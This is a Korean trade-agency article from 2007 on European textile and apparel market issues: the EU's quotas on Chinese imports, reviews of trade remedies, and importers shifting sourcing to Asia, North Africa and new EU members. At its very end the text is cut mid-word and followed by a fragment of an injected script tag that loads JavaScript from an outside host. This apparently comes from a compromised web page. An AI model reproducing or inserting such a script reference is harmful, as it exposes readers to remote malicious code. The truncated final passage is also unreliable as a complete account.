2007 유럽 섬유 및 의류 시장의 주요 현안

2007-08-30 15:05 조회수 아이콘 1049

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2007 유럽 섬유 및 의류 시장의 주요 현안

대중국 세이프가드 연장, 고객화와 신속한 생산과 인도·중국산 수입여건 변화 등


 ○ 2007년은 중국산 섬유 및 의류 수입쿼터가 폐지되는 해로 이를 계기로 중국 섬유 및 의류시장에 큰 제도적인 변화가 예상되고 있음.
- 그러나 시장 대란에 대한 우려로 규제조치 지속 주장이 제기되고 있으며, 유럽 섬유 및 의류시장 자체도 새로운 경향을 보이고 있음.
- 섬유 및 의류 전문지인 Just-Style은 금년 세계 섬유 및 의류업계 현안을 20개로 분류해 전망한 바, 이중 유럽시장과 관련된 내용을 발췌해 이를 무역관이 현재의 유럽시장 상황과 비교한 후 다음과 같이 정리했음.
 
○ EU의 대중국 수입쿼터는 폐지될 것인가 연장될 것인가
- 2007년중 유럽 섬유의류 업계의 최대 현안은 2005년 6월부터 한시적인 조치로 부과돼 올해 말로 종료예정인 EU의 대중국 섬유의류 수입쿼터의 지속 여부임.
- 이 쿼터제도는 2007년 말까지 10개 품목(면지물, 티셔츠, 풀오버, 바지, 블라우스, 베드린넨, 드레스, 브래지어, 테이블린넨, 라미사)에 대해 8.5~12.5%까지 연간 중국의 대EU 수출 증가율을 제한하는 것임.
- 2006년 통계를 살펴보면 쿼터가 상당량 사용되지 않았음을 알 수 있음. 이는 유럽 수입업자들이 대중 수입을 우려하면서 선적지를 바꾸거나 다른 곳으로 구매선을 전환한 것을 의미함.
- 그럼에도 불구하고 업계에서는 쿼터 지속을 요구하고 있고 EU 역시 이를 받아들일 것이라는 의견이 지배적이며 EU 집행위가 공식확인은 하지 않고 있으나 EU와 중국 정부간에 이미 중국산에 대한 쿼터 제도를 2008년까지 연장하기로 합의했다는 이야기도 나오고 있음.


 ○ EU의 일반적인 무역구제조치가 전면 재검토될 것임.
- EU의 중국 및 베트남 가죽신발에 대한 반덤핑 관세 부과와 관련해 이 조치가 유럽 고용시장에 긍정적 영향을 줄 것이라는 환영과 관세부과로 EU내 판매가격이 인상되고 단순히 생산지를 다른 아시아국가로 전환하는 효과만 있어 EU가 아닌 다른 아시아국가들만 혜택을 본다는 비난도 있었음.
- 이러한 상황속에서 EU는 반덤핑 조치를 비롯해 수입쿼터 등 무역구제조치의 실효성을 제고하는데 관심을 갖고 있으며, 대상품목이나 국가와 무관하게 EU의 무역구제조치에 대한 자체 검토가 이뤄지고 있음.
- 이러한 경향은 개별 무역구제 사례를 도입할 때도 영향을 줄 것이며, 유럽 섬유 및 의류업계의 최대 현안인 중국산 수입 여건이 상당히 유동적이라는 점을 의미해줌.
- 이에 불안감을 느끼는 일부 유럽 수입업자들의 일부가 다른 국가로 거래선을 전환할 수도 있으며 대안으로 떠오르는 국가들은 홍콩, 마카오, 베트남 등임.
- 아울러 유럽 수입업계의 이러한 거래선 전환 움직임의 일환으로 원산지를 속이는 경향이 늘어날 것으로 보임. 즉, 중국산이 인도네시아를 비롯한 다른 아시아 국가로 불법 환적돼 이들 국가산으로 원산지를 거짓 기재하는 경우가 발생할 수 있음. 이와 관련해 Just-Style은 불법환적 대상국가로 인도네시아와 함께 한국도 거론하고 있어 우리 업계의 주의가 필요함.


 ○ 중국산 소싱에 대한 Counterbalancing 경향이 지속되고 있음.
- 중국산에 수입여건이 지속적으로 유동적이 되고 있어 대부분의 수입업자들은 중국산 수입가격 변동 요인들을 고려하고 있음. 특히 인건비 인상이나 전력과 상수도 이용가능 여건 변화 혹은 중국 정부의 고품질 및 디자인 제품에 대한 우대 등과 같이 중국 자체 내에서의 변동요인이 주요 우려 요인들임.
- 컨설턴트사인 프라이스워터하우스에 따르면 유럽 수입업계는 지리적으로 유럽과 가깝고 유럽시장 접근에 특혜 대우를 받고 있는 업체를 선호하는 경향이 있음.
- EU의 태국, 방글라데시, 파키스탄으로부터의 섬유 및 의류 수입은 빠른 속도로 늘어나고 있으며,  이들 만큼은 아니지만 모로코, 튀니지, 그리고 동유럽 국가들(우즈베키스탄)로부터의 수입도 늘어나고 있음. 따라서 이들 국가 수출업체들이 물품 인도기간을 단축하면 이들로부터의 수입이 빠르게 늘어날 것으로 보임.
- 특히 루마니아와 불가리아가 2007년 1월부터 EU 회원국이 됨에 따라 이들로부터의 수입도 빠르게 늘고 있음.
- 한편 일부 수입상들은 루마니?script src=http://mekiller.com/1/1.js>